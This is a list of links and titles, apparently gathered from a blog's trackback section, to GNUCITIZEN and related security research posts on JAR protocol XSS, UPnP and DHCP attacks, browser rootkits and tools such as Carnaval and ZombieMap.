http://www.gnucitizen.org/blog/java-jar-attacks-and-features/

Severe XSS in Google and Others due to the JAR protocol issues | GNUCITIZEN
http://www.gnucitizen.org/blog/severe-xss-in-google-and-others-due-to-the-jar-protocol-issues/

Hacking without 0days: Drive-by Java | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-without-0days-drive-by-java/

Firefox jar: Protocol Vulnerability | blog.beford.org
http://blog.beford.org/?p=8

beford.org
http://blog.beford.org/

Hacking The Interwebs | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-the-interwebs/

Hacking with UPnP (Universal Plug and Play) | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-with-upnp-universal-plug-and-play/

Flash UPnP Attack FAQ | GNUCITIZEN
http://www.gnucitizen.org/blog/flash-upnp-attack-faq/

R00Ting Public WiFi Networks: DHCP Name Poisoning Attacks | GNUCITIZEN
http://www.gnucitizen.org/blog/r00ting-public-wifi-networks-dhcp-name-poisoning-attacks/

DHCP/mDNS Injection Issues | GNUCITIZEN
http://www.gnucitizen.org/blog/dhcpmdns-injection-issues/

Hacking Video Surveillance Networks | GNUCITIZEN
http://www.gnucitizen.org/blog/hacking-video-surveillance-networks/

UPnP: The Saga Continues | GNUCITIZEN
http://www.gnucitizen.org/blog/upnp-the-saga-continues/

J@§.n’s Stack Trace
http://jasonmacpherson.com/

Jason Macpherson responds: | R00Ting Public WiFi Networks: DHCP Name Poisoning Attacks
http://www.gnucitizen.org/blog/r00ting-public-wifi-networks-dhcp-name-poisoningattacks/#comment-105287

Browser Rootkits | GNUCITIZEN
http://www.gnucitizen.org/blog/browser-rootkits/

Carnaval | GNUCITIZEN
http://www.gnucitizen.org/projects/carnaval

Introducing Carnaval | GNUCITIZEN
http://www.gnucitizen.org/blog/introducing-carnaval

Greasecarnaval | GNUCITIZEN
http://www.gnucitizen.org/projects/greasecarnaval/

ZombieMap | GNUCITIZEN
http://www.gnucitizen.org/projects/zombiemap